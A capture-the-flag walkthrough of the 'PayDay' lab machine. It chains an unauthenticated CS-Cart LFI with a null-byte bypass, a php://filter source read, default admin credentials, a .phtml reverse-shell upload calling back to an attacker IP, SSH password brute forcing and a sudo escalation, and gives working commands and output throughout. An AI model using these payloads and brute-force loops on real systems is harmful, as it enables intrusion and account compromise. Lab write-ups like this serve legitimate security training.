the_open_door
coffee
ESEN

PayDay

Proving Grounds PracticeMediumLinux192.168.175.39

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#cs-cart#lfi#null-byte-bypass#php-filter#file-upload#phtml#rce#reverse-shell#ssh-brute-force#legacy-crypto#password-reuse#sudo#privilege-escalation
TL;DR. PayDay runs a CS-Cart 1.3.3 (a PHP e-commerce) on Apache 2.2 and PHP 5.2. The store has an unauthenticated LFI in class.cs_phpmailer.php that bypasses the extension filter with a null byte %00 (null byte bypass); with php://filter we read config.php and see database credentials. The /admin.php panel opens with admin:admin, and from its template editor we upload a PHP shell renamed to .phtml (file upload RCE): visiting it gives a shell as www-data. The local.txt is in patrick's home; to pivot, an SSH brute force (which needs the server's legacy crypto enabled) finds patrick:patrick. And patrick has sudo (ALL) ALL: sudo su to root.

Recon

Initial scan

ping -c 1 192.168.175.39
64 bytes from 192.168.175.39: icmp_seq=1 ttl=61 time=29.7 ms

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The full sweep finds a mail server (Dovecot on 110/143/993/995), Samba and, crucially, an HTTP with a PHP store:

nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.39
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  netbios-ssn
993/tcp open  ssl/imap
995/tcp open  ssl/pop3
nmap -p22,80,110,139,143,445,993,995 -sCV 192.168.175.39
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: CS-Cart. Powerful PHP shopping cart software
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d

Everything is old: OpenSSH 4.6 (2007), Apache 2.2.4 with PHP 5.2.3. The page title identifies the software: CS-Cart, a PHP shopping cart. The exact version (1.3.3) is confirmed later; with a stack like this, searchsploit is the first reflex.

HTTP - TCP 80: CS-Cart 1.3.3

whatweb confirms CS-Cart on PHP 5.2. Searching the version in public exploits returns two pieces that chain together: an unauthenticated LFI and an authenticated RCE.

CS-Cart 1.3.3 identified on Apache 2.2 and PHP 5.2

Exploitation

CS-Cart 1.3.3: unauthenticated LFI with null byte bypass (%00)

searchsploit CS-Cart points to 48890.txt (CS-Cart 1.3.3 'classes_dir' LFI). The classes_dir parameter of class.cs_phpmailer.php is concatenated to a path ending in .php, so a normal Local File Inclusion does not work. The trick is the null byte %00: in PHP before 5.3.4, the %00 cuts the string in C and discards the .php the code appends afterwards (null byte bypass), so the exact requested file is included:

curl "http://192.168.175.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../etc/passwd%00" --path-as-is

LFI reading /etc/passwd; the patrick user with UID 1000 appears

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
www-data:x:33:33:www-data:/var/www:/bin/sh
...
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash
Fatal error:  Class 'PHPMailer' not found in /var/www/classes/phpmailer/class.cs_phpmailer.php on line 6

/etc/passwd is read with no authentication and reveals the box's interactive user: patrick (UID 1000). That name will be the pivot piece later on.

Reading the code with php://filter

The LFI also reads PHP sources if they are wrapped in php://filter with convert.base64-encode (otherwise PHP would execute the file instead of showing it). We aim at the CS-Cart config:

curl "http://192.168.175.39/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/convert.base64-encode/resource=../../config.php%00" --path-as-is | base64 -d

config.php read with php://filter showing the database credentials

$db_host = 'localhost';
$db_name = 'cscart';
$db_user = 'root';
$db_password = 'root';

These are local database credentials (root:root for MySQL), not for an exposed service. An attempt to turn the LFI into RCE via log poisoning fails (the Apache access.log path is not where expected and require_once cannot open the file), so we switch vectors to the admin panel.

Panel access: admin:admin

CS-Cart exposes its panel at /admin.php. Before building anything complex, we try the product's default credentials, and they work:

CS-Cart /admin.php panel logging in with admin:admin

admin:admin opens the admin panel. With a valid session, the second exploit (authenticated RCE) is now viable.

CS-Cart 1.3.3: authenticated RCE via file upload

48891.txt describes the path: the panel's template editor allows uploading files and, although it filters .php, it accepts .phtml, an extension Apache also executes as PHP (file upload RCE). We prepare pentestmonkey's php-reverse-shell with our IP and port, and save it as rev.phtml:

$ip = '192.168.45.239';
$port = 4444;

In the panel, the Template editor menu (under Look and Feel) opens the template editor:

CS-Cart admin panel with the Template editor menu under Look and Feel

There, with Upload file, we upload rev.phtml to the /skins/ directory:

CS-Cart template editor uploading rev.phtml with Browse and Upload

After the upload, the file is listed in /skins/:

CS-Cart template editor with rev.phtml uploaded in /skins/

Template editor
Current path: /skins/

  default_blue/
  new_vision_blue/
  rev.phtml

Shell as www-data

We set the listener first (the port baked into rev.phtml):

nc -nlvp <port>

With a listener waiting, a single request to the .phtml fires the reverse shell:

curl http://192.168.175.39/skins/rev.phtml

reverse shell received as www-data after visiting rev.phtml

www-data@payday:/$ whoami
www-data

The Apache process runs as www-data, which has read access to patrick's home and lets us grab the local.txt:

reading local.txt from patrick's home as www-data

www-data@payday:/home/patrick$ cat local.txt
f0eef12d6eac8369f4144fcdd21aed94

Pivot to patrick

SSH brute force with legacy crypto

www-data does not escalate directly, but we already know a user (patrick) and the box reuses trivial credentials (MySQL was root:root). SSH is the way, but there is a catch: the 2007 OpenSSH 4.6 uses algorithms a modern client rejects by default. hydra fails outright at negotiation:

hydra -l patrick -P /usr/share/wordlists/rockyou.txt ssh://192.168.175.39 -t 64 -I

hydra fails against the legacy OpenSSH: kex error, no match for method mac algo

[ERROR] could not connect to ssh://192.168.175.39:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,...], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]

medusa, however, does negotiate that legacy crypto and finds the password, which turns out to be the username itself (patrick:patrick): trivial reuse.

medusa -h 192.168.175.39 -u patrick -P /usr/share/wordlists/rockyou.txt -M ssh -e ns -f -g 5 -r 0 -b -t 2 -v 4

medusa finds the credentials: ACCOUNT FOUND patrick:patrick SUCCESS

ACCOUNT FOUND: [ssh] Host: 192.168.175.39 User: patrick Password: patrick [SUCCESS]

As a portable alternative (handy when a tool cannot speak the old crypto), the same attack is done by hand, forcing the OpenSSH client to enable the legacy crypto (KexAlgorithms=+diffie-hellman-group1-sha1, HostKeyAlgorithms=+ssh-rsa, MACs=hmac-sha1,hmac-md5) and walking the wordlist with sshpass:

for pass in $(cat /usr/share/wordlists/rockyou.txt); do
  timeout 1 sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -o MACs=hmac-sha1,hmac-md5 \
    -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa \
    patrick@192.168.175.39 "echo OK; exit" 2>/dev/null && echo "[+] $pass" && break
done

the custom bash script also finds the password: Password found: patrick

CREDENTIAL FOUND: patrick
[+] Password found: patrick

The script confirms patrick:patrick. We log in with the same cipher parameters:

sshpass -p "patrick" ssh -o MACs=hmac-sha1,hmac-md5 -o KexAlgorithms=+diffie-hellman-group1-sha1 \
  -o HostKeyAlgorithms=+ssh-rsa patrick@192.168.175.39

SSH session as patrick after the brute force with legacy crypto

patrick@payday:~$ id
uid=1000(patrick) gid=1000(patrick) groups=4(adm),20(dialout),...,1000(patrick)

Privilege escalation

sudo (ALL) ALL

The escalation is immediate: patrick can run any command as any user (sudo (ALL) ALL):

sudo -l
sudo su

sudo -l showing (ALL) ALL and sudo su returning root

User patrick may run the following commands on this host:
    (ALL) ALL

root@payday:/home/patrick# whoami
root

(ALL) ALL means sudo su gives a root shell with no extra work. We read the proof:

reading proof.txt as root

root@payday:/home/patrick# cat /root/proof.txt
b3b6ff03b680bf8def474dedd35c730d

Attack chain

HTTP 80 (CS-Cart 1.3.3)
   └── unauthenticated LFI in class.cs_phpmailer.php (classes_dir) + %00  ── null byte bypass
        ├── /etc/passwd → user patrick
        └── php://filter → config.php (db root:root)
   └── /admin.php with admin:admin (default credentials)
        └── template editor: upload rev.phtml  ── authenticated RCE
             └── reverse shell as www-data  (local.txt in /home/patrick)
                  └── SSH brute force (legacy crypto) → patrick:patrick
                       └── sudo -l: (ALL) ALL  ── sudo su  ── root  (proof.txt)

Lessons learned

  • The null byte %00 resurrects an LFI with a fixed suffix. As long as the code appends .php and the PHP predates 5.3.4, %00 cuts the path and the exact file is included. php://filter additionally turns the LFI into source-code reading.
  • Default credentials still open panels. admin:admin in CS-Cart saved all the work of exploiting the login. Always try the product's defaults before getting fancy.
  • .phtml dodges filters that only block .php. Apache executes .phtml as PHP; an editor that filters by extension but forgets that variant hands over RCE.
  • Legacy crypto blocks some tools, not the technique. hydra failed on negotiation (it rejects the 2007 OpenSSH's old algorithms), but medusa speaks them and found patrick:patrick. And forcing old KexAlgorithms/HostKeyAlgorithms/MACs, the manual sshpass brute force progresses just the same: the limitation was the client, not the attack.
  • Credential reuse is the rule, not the exception. patrick:patrick and root:root for MySQL show how cheap it is to try username=password and trivial values.
Command cheatsheet 11 commands

Quick review